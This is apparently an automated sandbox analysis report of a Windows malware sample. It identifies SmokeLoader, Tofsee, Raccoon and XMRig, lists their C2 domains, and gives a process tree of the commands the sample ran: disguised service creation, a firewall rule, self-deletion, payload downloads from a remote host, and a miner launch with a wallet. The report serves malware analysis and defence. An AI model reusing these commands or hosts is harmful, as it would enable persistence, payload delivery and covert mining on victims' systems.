Analysis

  • max time kernel
    134s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    09/01/2022, 17:01

General

  • Target

    08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe

  • Size

    292KB

  • MD5

    246b41453b996bfa14f60d4785e598ac

  • SHA1

    977b7d8cc4237ca4c8a2268aedfff4d83c7d0a86

  • SHA256

    08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec

  • SHA512

    122fbf1cf7202ac0370471e5d1faf19c3d211a75b7629221daf0dd3c6a7c3260db0fdc22da7161dd53c9f646f2400dbde80751139d20d1e0f977869b60224bd2

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 5 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • LoaderBot executable 1 IoCs
  • XMRig Miner Payload 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 19 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Modifies registry class 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe
    "C:\Users\Admin\AppData\Local\Temp\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2356
    • C:\Users\Admin\AppData\Local\Temp\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe
      "C:\Users\Admin\AppData\Local\Temp\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2776
  • C:\Users\Admin\AppData\Local\Temp\1CCB.exe
    C:\Users\Admin\AppData\Local\Temp\1CCB.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:1860
  • C:\Users\Admin\AppData\Local\Temp\3CE7.exe
    C:\Users\Admin\AppData\Local\Temp\3CE7.exe
    1⤵
    • Executes dropped EXE
    PID:3312
  • C:\Users\Admin\AppData\Local\Temp\490D.exe
    C:\Users\Admin\AppData\Local\Temp\490D.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2832
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bczdufnq\
      2⤵
        PID:508
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zxvkcplo.exe" C:\Windows\SysWOW64\bczdufnq\
        2⤵
          PID:1732
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bczdufnq binPath= "C:\Windows\SysWOW64\bczdufnq\zxvkcplo.exe /d\"C:\Users\Admin\AppData\Local\Temp\490D.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3404
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description bczdufnq "wifi internet conection"
            2⤵
              PID:1296
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start bczdufnq
              2⤵
                PID:2328
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2088
              • C:\Users\Admin\AppData\Local\Temp\541A.exe
                C:\Users\Admin\AppData\Local\Temp\541A.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1140
                • C:\Users\Admin\AppData\Local\Temp\541A.exe
                  C:\Users\Admin\AppData\Local\Temp\541A.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1728
              • C:\Windows\SysWOW64\bczdufnq\zxvkcplo.exe
                C:\Windows\SysWOW64\bczdufnq\zxvkcplo.exe /d"C:\Users\Admin\AppData\Local\Temp\490D.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2032
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2276
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3880
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                • Accesses Microsoft Outlook profiles
                • outlook_office_path
                • outlook_win_path
                PID:968
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:3656
                • C:\Users\Admin\AppData\Local\Temp\C10E.exe
                  C:\Users\Admin\AppData\Local\Temp\C10E.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:3400
                  • C:\Users\Admin\AppData\Local\Temp\C10E.exe
                    C:\Users\Admin\AppData\Local\Temp\C10E.exe
                    2⤵
                    • Executes dropped EXE
                    • Checks SCSI registry key(s)
                    • Suspicious behavior: MapViewOfSection
                    PID:728
                • C:\Users\Admin\AppData\Local\Temp\CF86.exe
                  C:\Users\Admin\AppData\Local\Temp\CF86.exe
                  1⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Loads dropped DLL
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Checks processor information in registry
                  PID:1280
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\CF86.exe" & exit
                    2⤵
                      PID:2008
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /t 5
                        3⤵
                        • Delays execution with timeout.exe
                        PID:1556
                  • C:\Users\Admin\AppData\Local\Temp\E7F1.exe
                    C:\Users\Admin\AppData\Local\Temp\E7F1.exe
                    1⤵
                    • Executes dropped EXE
                    PID:1164
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 1164 -s 904
                      2⤵
                      • Suspicious use of NtCreateProcessExOtherParentProcess
                      • Program crash
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3128
                  • C:\Users\Admin\AppData\Local\Temp\D5C.exe
                    C:\Users\Admin\AppData\Local\Temp\D5C.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2328
                  • C:\Users\Admin\AppData\Local\Temp\2D59.exe
                    C:\Users\Admin\AppData\Local\Temp\2D59.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2128
                  • C:\Users\Admin\AppData\Local\Temp\96A3.exe
                    C:\Users\Admin\AppData\Local\Temp\96A3.exe
                    1⤵
                    • Executes dropped EXE
                    PID:708
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9774.tmp\9775.tmp\9776.bat C:\Users\Admin\AppData\Local\Temp\96A3.exe"
                      2⤵
                      • Modifies registry class
                      PID:2704
                      • C:\Users\Admin\AppData\Local\Temp\9774.tmp\9775.tmp\extd.exe
                        C:\Users\Admin\AppData\Local\Temp\9774.tmp\9775.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
                        3⤵
                        • Executes dropped EXE
                        PID:648
                      • C:\Windows\System32\WScript.exe
                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\19545\123.vbs"
                        3⤵
                        • Blocklisted process makes network request
                        PID:1872
                      • C:\Users\Admin\AppData\Local\Temp\9774.tmp\9775.tmp\extd.exe
                        C:\Users\Admin\AppData\Local\Temp\9774.tmp\9775.tmp\extd.exe "/download" "http://a0617224.xsph.ru/1.exe" "setup1.exe" "" "" "" "" "" ""
                        3⤵
                        • Executes dropped EXE
                        PID:1336
                      • C:\Users\Admin\AppData\Local\Temp\19545\setup1.exe
                        setup1.exe
                        3⤵
                        • Executes dropped EXE
                        PID:3508
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 3508 -s 420
                          4⤵
                          • Program crash
                          PID:2088
                      • C:\Users\Admin\AppData\Local\Temp\9774.tmp\9775.tmp\extd.exe
                        C:\Users\Admin\AppData\Local\Temp\9774.tmp\9775.tmp\extd.exe "/download" "http://a0617224.xsph.ru/2.exe" "setup2.exe" "" "" "" "" "" ""
                        3⤵
                        • Executes dropped EXE
                        PID:996
                      • C:\Users\Admin\AppData\Local\Temp\19545\setup2.exe
                        setup2.exe
                        3⤵
                        • Executes dropped EXE
                        • Adds Run key to start application
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        PID:1772
                      • C:\Users\Admin\AppData\Local\Temp\9774.tmp\9775.tmp\extd.exe
                        C:\Users\Admin\AppData\Local\Temp\9774.tmp\9775.tmp\extd.exe "/download" "http://a0617224.xsph.ru/3.exe" "setup3.exe" "" "" "" "" "" ""
                        3⤵
                        • Executes dropped EXE
                        PID:1728
                      • C:\Users\Admin\AppData\Local\Temp\19545\setup3.exe
                        setup3.exe
                        3⤵
                          PID:4012
                        • C:\Users\Admin\AppData\Local\Temp\9774.tmp\9775.tmp\extd.exe
                          C:\Users\Admin\AppData\Local\Temp\9774.tmp\9775.tmp\extd.exe "" "" "" "" "" "" "" "" ""
                          3⤵
                            PID:4076

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/968-188-0x0000000000180000-0x00000000001F4000-memory.dmp

                        Filesize

                        464KB

                      • memory/968-189-0x0000000000110000-0x000000000017B000-memory.dmp

                        Filesize

                        428KB

                      • memory/1140-145-0x00000000054E0000-0x0000000005556000-memory.dmp

                        Filesize

                        472KB

                      • memory/1140-154-0x0000000005D50000-0x000000000624E000-memory.dmp

                        Filesize

                        5.0MB

                      • memory/1140-151-0x0000000005440000-0x0000000005441000-memory.dmp

                        Filesize

                        4KB

                      • memory/1140-150-0x00000000055F0000-0x00000000055F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1140-148-0x00000000054C0000-0x00000000054DE000-memory.dmp

                        Filesize

                        120KB

                      • memory/1140-144-0x0000000000C70000-0x0000000000CFA000-memory.dmp

                        Filesize

                        552KB

                      • memory/1140-143-0x0000000000C70000-0x0000000000CFA000-memory.dmp

                        Filesize

                        552KB

                      • memory/1164-225-0x0000000004840000-0x000000000488F000-memory.dmp

                        Filesize

                        316KB

                      • memory/1164-226-0x0000000004890000-0x0000000004921000-memory.dmp

                        Filesize

                        580KB

                      • memory/1164-227-0x0000000000400000-0x0000000002BC5000-memory.dmp

                        Filesize

                        39.8MB

                      • memory/1280-207-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1280-213-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1280-205-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1280-220-0x0000000077E40000-0x0000000077FCE000-memory.dmp

                        Filesize

                        1.6MB

                      • memory/1280-219-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1280-218-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1280-217-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1280-216-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1280-215-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1280-214-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1280-204-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1280-212-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1280-211-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1280-209-0x0000000002410000-0x0000000002454000-memory.dmp

                        Filesize

                        272KB

                      • memory/1280-210-0x0000000076F80000-0x0000000077142000-memory.dmp

                        Filesize

                        1.8MB

                      • memory/1280-208-0x0000000000840000-0x0000000000841000-memory.dmp

                        Filesize

                        4KB

                      • memory/1280-206-0x00000000000F0000-0x00000000004AF000-memory.dmp

                        Filesize

                        3.7MB

                      • memory/1728-168-0x0000000005430000-0x0000000005A36000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/1728-177-0x00000000053A0000-0x00000000053BE000-memory.dmp

                        Filesize

                        120KB

                      • memory/1728-179-0x0000000006950000-0x0000000006B12000-memory.dmp

                        Filesize

                        1.8MB

                      • memory/1728-166-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/1728-167-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/1728-180-0x0000000007050000-0x000000000757C000-memory.dmp

                        Filesize

                        5.2MB

                      • memory/1728-169-0x0000000004EB0000-0x0000000004EC2000-memory.dmp

                        Filesize

                        72KB

                      • memory/1728-170-0x0000000004FE0000-0x00000000050EA000-memory.dmp

                        Filesize

                        1.0MB

                      • memory/1728-171-0x0000000004F20000-0x0000000004F5E000-memory.dmp

                        Filesize

                        248KB

                      • memory/1728-172-0x0000000004E20000-0x0000000005426000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/1728-173-0x0000000004F60000-0x0000000004FAB000-memory.dmp

                        Filesize

                        300KB

                      • memory/1728-174-0x0000000005F40000-0x000000000643E000-memory.dmp

                        Filesize

                        5.0MB

                      • memory/1728-175-0x0000000005280000-0x00000000052F6000-memory.dmp

                        Filesize

                        472KB

                      • memory/1728-176-0x0000000005A40000-0x0000000005AD2000-memory.dmp

                        Filesize

                        584KB

                      • memory/1728-162-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/1728-178-0x0000000005EB0000-0x0000000005F16000-memory.dmp

                        Filesize

                        408KB

                      • memory/1772-315-0x00000000760A0000-0x0000000076624000-memory.dmp

                        Filesize

                        5.5MB

                      • memory/1772-308-0x0000000000B50000-0x0000000000BB2000-memory.dmp

                        Filesize

                        392KB

                      • memory/1772-309-0x0000000076F80000-0x0000000077142000-memory.dmp

                        Filesize

                        1.8MB

                      • memory/1772-311-0x0000000076A30000-0x0000000076B21000-memory.dmp

                        Filesize

                        964KB

                      • memory/1772-314-0x0000000073A60000-0x0000000073AE0000-memory.dmp

                        Filesize

                        512KB

                      • memory/1772-307-0x0000000000B40000-0x0000000000B41000-memory.dmp

                        Filesize

                        4KB

                      • memory/1772-317-0x0000000074BE0000-0x0000000075F28000-memory.dmp

                        Filesize

                        19.3MB

                      • memory/1860-124-0x0000000000030000-0x0000000000039000-memory.dmp

                        Filesize

                        36KB

                      • memory/1860-125-0x0000000000400000-0x000000000046D000-memory.dmp

                        Filesize

                        436KB

                      • memory/2032-161-0x0000000000400000-0x0000000002B83000-memory.dmp

                        Filesize

                        39.5MB

                      • memory/2128-265-0x0000000073460000-0x00000000734E0000-memory.dmp

                        Filesize

                        512KB

                      • memory/2128-274-0x00000000731E0000-0x000000007322B000-memory.dmp

                        Filesize

                        300KB

                      • memory/2128-271-0x0000000074BE0000-0x0000000075F28000-memory.dmp

                        Filesize

                        19.3MB

                      • memory/2128-270-0x00000000760A0000-0x0000000076624000-memory.dmp

                        Filesize

                        5.5MB

                      • memory/2128-258-0x0000000000F90000-0x0000000001071000-memory.dmp

                        Filesize

                        900KB

                      • memory/2128-262-0x0000000076A30000-0x0000000076B21000-memory.dmp

                        Filesize

                        964KB

                      • memory/2128-260-0x0000000076F80000-0x0000000077142000-memory.dmp

                        Filesize

                        1.8MB

                      • memory/2128-259-0x0000000000120000-0x0000000000121000-memory.dmp

                        Filesize

                        4KB

                      • memory/2276-157-0x0000000000BC0000-0x0000000000BD5000-memory.dmp

                        Filesize

                        84KB

                      • memory/2276-159-0x0000000000AD0000-0x0000000000AD1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2276-160-0x0000000000AD0000-0x0000000000AD1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2328-248-0x0000000004C32000-0x0000000004C33000-memory.dmp

                        Filesize

                        4KB

                      • memory/2328-239-0x0000000002460000-0x0000000002492000-memory.dmp

                        Filesize

                        200KB

                      • memory/2328-237-0x0000000002180000-0x00000000021B4000-memory.dmp

                        Filesize

                        208KB

                      • memory/2328-249-0x0000000004C33000-0x0000000004C34000-memory.dmp

                        Filesize

                        4KB

                      • memory/2328-245-0x00000000057A0000-0x00000000057EB000-memory.dmp

                        Filesize

                        300KB

                      • memory/2328-247-0x0000000004C30000-0x0000000004C31000-memory.dmp

                        Filesize

                        4KB

                      • memory/2328-246-0x0000000000400000-0x000000000047B000-memory.dmp

                        Filesize

                        492KB

                      • memory/2328-244-0x00000000001C0000-0x00000000001F9000-memory.dmp

                        Filesize

                        228KB

                      • memory/2328-243-0x0000000005750000-0x000000000578E000-memory.dmp

                        Filesize

                        248KB

                      • memory/2328-238-0x0000000004C40000-0x000000000513E000-memory.dmp

                        Filesize

                        5.0MB

                      • memory/2328-240-0x0000000005140000-0x0000000005746000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/2328-242-0x0000000004AE0000-0x0000000004BEA000-memory.dmp

                        Filesize

                        1.0MB

                      • memory/2328-241-0x0000000002660000-0x0000000002672000-memory.dmp

                        Filesize

                        72KB

                      • memory/2356-116-0x0000000002BE0000-0x0000000002D2A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/2356-115-0x0000000002BE0000-0x0000000002D2A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/2776-117-0x0000000000400000-0x0000000000409000-memory.dmp

                        Filesize

                        36KB

                      • memory/2832-136-0x00000000001E0000-0x00000000001ED000-memory.dmp

                        Filesize

                        52KB

                      • memory/2832-137-0x00000000047A0000-0x00000000047B3000-memory.dmp

                        Filesize

                        76KB

                      • memory/2832-138-0x0000000000400000-0x0000000002B83000-memory.dmp

                        Filesize

                        39.5MB

                      • memory/3028-126-0x0000000000A20000-0x0000000000A36000-memory.dmp

                        Filesize

                        88KB

                      • memory/3028-119-0x00000000008A0000-0x00000000008B6000-memory.dmp

                        Filesize

                        88KB

                      • memory/3028-221-0x00000000041D0000-0x00000000041E6000-memory.dmp

                        Filesize

                        88KB

                      • memory/3312-130-0x0000000002C70000-0x0000000002C81000-memory.dmp

                        Filesize

                        68KB

                      • memory/3312-132-0x0000000000400000-0x0000000002B86000-memory.dmp

                        Filesize

                        39.5MB

                      • memory/3312-131-0x0000000002CA0000-0x0000000002DEA000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/3400-199-0x0000000002B80000-0x0000000002C2E000-memory.dmp

                        Filesize

                        696KB

                      • memory/3400-200-0x0000000002B80000-0x0000000002C2E000-memory.dmp

                        Filesize

                        696KB

                      • memory/3656-192-0x0000000000D40000-0x0000000000D4C000-memory.dmp

                        Filesize

                        48KB

                      • memory/3656-191-0x0000000000D50000-0x0000000000D57000-memory.dmp

                        Filesize

                        28KB

                      • memory/3880-181-0x0000000000600000-0x00000000006F1000-memory.dmp

                        Filesize

                        964KB

                      • memory/3880-186-0x0000000000600000-0x00000000006F1000-memory.dmp

                        Filesize

                        964KB

                      • memory/4012-326-0x0000000000800000-0x0000000000801000-memory.dmp

                        Filesize

                        4KB

                      • memory/4012-325-0x0000000000CC0000-0x000000000111B000-memory.dmp

                        Filesize

                        4.4MB

                      • memory/4012-329-0x0000000076A30000-0x0000000076B21000-memory.dmp

                        Filesize

                        964KB

                      • memory/4012-327-0x0000000076F80000-0x0000000077142000-memory.dmp

                        Filesize

                        1.8MB

                      • memory/4012-332-0x0000000073A60000-0x0000000073AE0000-memory.dmp

                        Filesize

                        512KB

                      • memory/4012-334-0x00000000760A0000-0x0000000076624000-memory.dmp

                        Filesize

                        5.5MB

                      • memory/4012-335-0x0000000074BE0000-0x0000000075F28000-memory.dmp

                        Filesize

                        19.3MB